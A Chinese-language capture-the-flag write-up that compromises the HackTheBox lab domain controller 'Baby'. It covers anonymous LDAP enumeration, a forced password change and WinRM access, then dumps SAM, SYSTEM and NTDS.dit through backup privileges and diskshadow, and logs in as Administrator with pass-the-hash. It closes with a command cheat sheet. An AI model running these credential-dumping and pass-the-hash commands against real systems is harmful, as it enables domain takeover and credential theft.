找回密码
 立即注册
首页 业界区 业界 【渗透测试】HTB靶场之Baby 全过程wp

【渗透测试】HTB靶场之Baby 全过程wp

甘子萱 2026-1-24 00:25:00
HTB Baby

靶机IP 10.129.234.71
先扫描一下端口
1.png

2.png

发现开了445端口(SMB协议)
SMB-TCP 445
  1. ┌──(root㉿kali)-[~/桌面/HTB/baby]
  2. └─# netexec smb 10.129.234.71 --generate-hosts-file hosts
  3. SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
  4. ┌──(root㉿kali)-[~/桌面/HTB/baby]
  5. └─# cat hosts
  6. 10.129.234.71     BABYDC.baby.vl baby.vl BABYDC
  7. ┌──(root㉿kali)-[~/桌面/HTB/baby]
  8. └─# cat hosts /etc/hosts | sudo sponge /etc/hosts
复制代码
3.png

尝试对目标smb服务进行guest身份的共享枚举
  1. ┌──(root㉿kali)-[~/桌面/HTB/baby]
  2. └─# netexec smb 10.129.234.71 -u guest -p '' --shares           
  3. SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
  4. SMB         10.129.234.71   445    BABYDC           [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED
  5. 发现账号被禁用
复制代码
4.png

该方法不行
LDAP-TCP 389

使用netexec工具从目标机器上提取(dump)LDAP中的用户数据(比如域用户名、组、权限等)
  1. netexec ldap BABYDC.baby.vl -u '' -p '' --query "(objectClass=*)" ""
复制代码
5.png

用sAMAccountName查询可用于登录的账户名
  1. netexec ldap BABYDC.baby.vl -u '' -p '' --query "(sAMAccountName=*)" ""
复制代码
6.png

可以看到这里有一个初始密码BabyStart123!
但依旧匹配不了
7.png

经过发现在上一个的objectClass=*中最后有一个Caroline Robinson,没有关联的数据
8.png
  1. ┌──(root㉿kali)-[~/桌面/HTB/baby]
  2. └─# netexec smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!'
  3. SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
  4. SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
复制代码
虽然失败了,但是说的是STATUS_PASSWORD_MUST_CHANGE
password change

可以使用netexec change-password模块
这里建议去github下载最新版本的nxc
https://github.com/Pennyw0rth/NetExec
  1. ┌──(root㉿kali)-[~/桌面/shentougongju]
  2. └─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi
  3. [*] Initializing SMB protocol database
  4. SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
  5. SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
  6. CHANGE-P... 10.129.234.71   445    BABYDC           [-] SMB-SAMR password change failed: SAMR SessionError: code: 0xc000006c - STATUS_PASSWORD_RESTRICTION - When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria.
复制代码
需要一个更复杂的密码
  1. ┌──(root㉿kali)-[~/桌面/shentougongju]
  2. └─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi123!
  3. SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
  4. SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
  5. CHANGE-P... 10.129.234.71   445    BABYDC           [+] Successfully changed password for Caroline.Robinson
复制代码
修改成功,我们看看密码策略
  1. ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --pass-pol
复制代码
9.png

Get Shell

枚举一下SMB共享资源
  1. ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
复制代码
  1. ┌──(root㉿kali)-[~/桌面/shentougongju]
  2. └─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
  3. SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
  4. SMB         10.129.234.71   445    BABYDC           [+] baby.vl\Caroline.Robinson:chenzi123!
  5. SMB         10.129.234.71   445    BABYDC           [*] Enumerated shares
  6. SMB         10.129.234.71   445    BABYDC           Share           Permissions     Remark
  7. SMB         10.129.234.71   445    BABYDC           -----           -----------     ------
  8. SMB         10.129.234.71   445    BABYDC           ADMIN$          READ            Remote Admin
  9. SMB         10.129.234.71   445    BABYDC           C$              READ,WRITE      Default share
  10. SMB         10.129.234.71   445    BABYDC           IPC$            READ            Remote IPC
  11. SMB         10.129.234.71   445    BABYDC           NETLOGON        READ            Logon server share
  12. SMB         10.129.234.71   445    BABYDC           SYSVOL          READ            Logon server share
复制代码
确认 了Caroline.Robinson 是有实际权限的域账户,不是空壳
既然获得了账户凭证,我们可以通过WinRM协议远程登录目标机器
  1. evil-winrm -i baby.vl -u caroline.robinson -p chenzi123!
复制代码
10.png

得到了shell,user.txt在destop下
Privilege Escalation

whoami /priv 查看当前用户的权限
  1. *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /priv
  2. PRIVILEGES INFORMATION
  3. ----------------------
  4. Privilege Name                Description                    State
  5. ============================= ============================== =======
  6. SeMachineAccountPrivilege     Add workstations to domain     Enabled
  7. SeBackupPrivilege             Back up files and directories  Enabled
  8. SeRestorePrivilege            Restore files and directories  Enabled
  9. SeShutdownPrivilege           Shut down the system           Enabled
  10. SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
  11. SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
复制代码
获取SAM和system(渗透黄金特权)

我们看到他拥有SeBackupPrivilege和SeRestorePrivilege权限,这些权限通常授予Backup Operators组中的用户。如果我们使用 whoami /groups进行检查,会发现该用户确实属于这个组
11.png

SeBackupPrivilege权限将允许我们创建注册表节文件备份,一旦破解这些文件,将能得到重要信息,如用户的NTLM哈希
更具体地说,我们需要SAM和SYSTEM组件,SAM存储了本地账户地元数据以及机器上本地用户经过哈希处理后的凭据(NTLM哈希)。而SYSTEM则包含用于推导出启动密钥所需地信息,该密钥用于解密SAM组件。
  1. 补充:
  2. 这里也就是渗透黄金特权的一种
  3. 1. SeDebugPrivilege(调试特权)
  4. 作用:允许调试任意进程(包括系统进程 lsass.exe)
  5. 渗透价值:
  6. 直接用 mimikatz 抓取 lsass 内存中的明文密码 / NTLM 哈希
  7. 拿到本地管理员、域管理员密码
  8. 一句话:有它 = 基本能直接拿密码
  9. 2. SeBackupPrivilege + SeRestorePrivilege(备份 / 还原特权)
  10. 作用:
  11. SeBackupPrivilege:绕过文件权限,备份任何文件(包括 SAM、NTDS.dit)
  12. SeRestorePrivilege:绕过文件权限,还原 / 覆盖任何文件(替换系统服务、写注册表)
  13. 渗透价值:
  14. 直接备份 SAM + SYSTEM → 拿本地管理员哈希
  15. 直接备份 NTDS.dit + SYSTEM → 拿整个域的所有用户哈希
  16. 替换系统服务 → 提权到 SYSTEM
  17. 一句话:有它 = 能拿系统 / 域的 “密码总库”
  18. 3. SeImpersonatePrivilege(模拟特权)
  19. 作用:允许模拟其他用户身份执行操作
  20. 渗透价值:
  21. 配合 JuicyPotato / PrintSpoofer 等工具 → 直接提权到 SYSTEM
  22. 模拟高权限用户执行命令、访问资源
  23. 一句话:有它 = 土豆 / 南瓜提权套餐直接上
  24. 4. SeTakeOwnershipPrivilege(获取所有权特权)
  25. 作用:夺取任意文件 / 注册表项的所有权
  26. 渗透价值:
  27. 夺取 C:\Windows\System32\config 等关键目录所有权 → 读写 SAM、SYSTEM
  28. 夺取注册表项 → 修改系统配置、后门
  29. 一句话:有它 = 能 “抢” 系统核心资源的控制权
复制代码
  1. *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\sam .\sam
  2. The operation completed successfully.
  3. *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\system .\system
  4. The operation completed successfully.
复制代码
得到两个文件后,使用download进行下载
  1. *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> download sam
  2.                                        
  3. Info: Downloading C:\Users\Caroline.Robinson\Desktop\sam to sam
  4.                                                 
  5. Info: Download successful!
  6. *Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> download system
  7.                                        
  8. Info: Downloading C:\Users\Caroline.Robinson\Desktop\system to system
  9.                                                 
  10. Info: Download successful!
复制代码
把你下载到 Kali 的 sam 和 system 文件,用 impacket-secretsdump
  1. impacket-secretsdump -sam sam -system system LOCAL
复制代码
12.png

格式:用户名:RIDM哈希:NTLM哈希:::
管理员的NTLM哈希:8d992faed38128ae85e95fa35868bb43
将得到的哈希进行传递
13.png

14.png

但登录不了
获取NTDS.dit(diskshadow创建C盘卷影副本)

我们下一步将尝试得到域控哈希值。为此,我们需要NTDS.dit(域控制器存储所有域用户密码哈希的核心数据库)。然而,该文件被锁定,我们无法直接复制。因此,我们使用diskshadow工具创建当前硬盘的卷影副本。这样我们就可以导出,并访问该文件。
  1. set verbose on
  2. set context persistent nowriters
  3. set metadata C:\Windows\Temp\chenzi.cab
  4. add volume c: alias chenzi
  5. create
  6. expose %chenzi% e:
复制代码
创建 C 盘的卷影副本,并将其映射为 E 盘,方便访问快照里的核心文件。
并转换为windows格式
15.png

上传文件
  1. upload backup backup
复制代码
16.png
  1. diskshadow /s backup
复制代码
17.png

可以看到放到了E盘
18.png

由于该驱动器目前未被使用,我们可以使用robocopy将NTDS.dit文件复制到当前目录中
  1. robocopy /b E:\Windows\ntds . ntds.dit
  2. 解释一下这个
  3. /b 备份模式
  4. E:\Windows\ntds 目录,包含了 C 盘的快照,能访问到被锁定的文件。
  5. . 表示目标目录即当前目录
  6. ntds.dit即要复制的文件
复制代码
19.png

这样我们就得到了ntds.dit
20.png

依旧也是下载下来
21.png

然后回到kali
  1. impacket-secretsdump -ntds ntds.dit -system system LOCAL
复制代码
22.png

得到Administrator的哈希值:ee4457ae59f1e3fbd764e33d9cef123d
然后再使用evil-winrm获得shell
  1. evil-winrm -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
复制代码
23.png

得到Administrator的shell
渗透总结

本靶机核心是通过域用户凭证获取与黄金特权利用,实现从普通域用户到域管理员的权限提升。首先通过端口扫描与 LDAP 信息搜集,获取域用户Caroline.Robinson及初始密码,解决密码必须修改的限制后,利用该账户的SeBackupPrivilege和SeRestorePrivilege黄金特权,备份系统核心文件(SAM、SYSTEM、NTDS.dit),解析出域管理员哈希,最终通过哈希传递登录域控制器,完成渗透。
核心知识点

信息搜集核心


  • 端口扫描重点:SMB(445)、LDAP(389/3268)、WinRM(5985)是域环境渗透关键端口,分别对应文件共享、用户信息查询、远程命令执行功能。
  • LDAP 枚举价值:可匿名查询域内用户、组信息,获取可登录账户名及潜在初始密码,为后续认证提供基础。
账户凭证与密码策略


  • STATUS_PASSWORD_MUST_CHANGE:账户初始密码需修改,且新密码需符合域密码策略(如长度≥7 位、包含大小写 / 数字 / 特殊符号)。
  • 密码策略查询:通过--pass-pol参数可获取域密码规则,指导新密码设置与后续爆破策略制定。
渗透黄金特权应用


  • SeBackupPrivilege + SeRestorePrivilege:允许绕过文件权限,备份 / 还原系统核心文件(SAM、NTDS.dit),是域环境中获取所有用户哈希的关键特权。
  • 卷影副本(VSS):用于绕过 NTDS.dit 等被系统锁定的文件,通过diskshadow创建快照后可自由复制。
哈希传递攻击(Pass-the-Hash)


  • 无需破解明文密码,直接使用解析出的 NTLM 哈希登录目标机器,适用于 WinRM、SMB 等协议。
  • 域管理员哈希需从 NTDS.dit(域密码总库)中解析,而非本地 SAM 文件(仅存储本地账户哈希)。
重要命令汇总

信息搜集与环境配置
  1. # 全端口扫描(获取关键端口)
  2. 无影扫描工具 10.129.234.71 -p 1-65535
  3. # 添加主机映射(方便域环境访问)
  4. echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" | sudo tee -a /etc/hosts
  5. # LDAP匿名枚举域用户
  6. netexec ldap BABYDC.baby.vl -u '' -p '' --query "(sAMAccountName=*)" ""
复制代码
账号密码操作
  1. # 修改域用户密码(解决STATUS_PASSWORD_MUST_CHANGE)
  2. ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi123!
  3. # 查询域密码策略
  4. ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --pass-pol
  5. # 枚举SMB共享资源(验证账户权限)
  6. ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
复制代码
远程登陆与权限查询
  1. # WinRM远程登录(获取普通用户shell)
  2. evil-winrm -i baby.vl -u Caroline.Robinson -p 'chenzi123!'
  3. # 查询当前用户特权(确认黄金特权)
  4. whoami /priv
  5. # 查询用户所属组(验证Backup Operators组身份)
  6. whoami /groups
复制代码
核心文件备份与下载
  1. # 备份SAM和SYSTEM注册表文件(本地账户哈希)
  2. reg save hklm\sam .\sam
  3. reg save hklm\system .\system
  4. # 下载文件到Kali
  5. download sam
  6. download system
  7. # diskshadow批量创建卷影副本(备份NTDS.dit)
  8. # 先在Kali创建backup脚本并转换格式
  9. unix2dos backup
  10. # 上传脚本到目标机器
  11. upload backup backup
  12. # 执行脚本创建卷影副本并映射为E盘
  13. diskshadow /s backup
  14. # 备份NTDS.dit(备份模式绕过锁定)
  15. robocopy /b E:\Windows\ntds . ntds.dit
  16. # 下载NTDS.dit到Kali
  17. download ntds.dit
复制代码
哈希解析与域管理员登录
  1. # 解析本地账户哈希(SAM+SYSTEM)
  2. impacket-secretsdump -sam sam -system system LOCAL
  3. # 解析域用户哈希(NTDS.dit+SYSTEM)
  4. impacket-secretsdump -ntds ntds.dit -system system LOCAL
  5. # 哈希传递登录域管理员(WinRM)
  6. evil-winrm -i baby.vl -u Administrator -H [域管理员NTLM哈希]
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

7 天前

举报

您需要登录后才可以回帖 登录 | 立即注册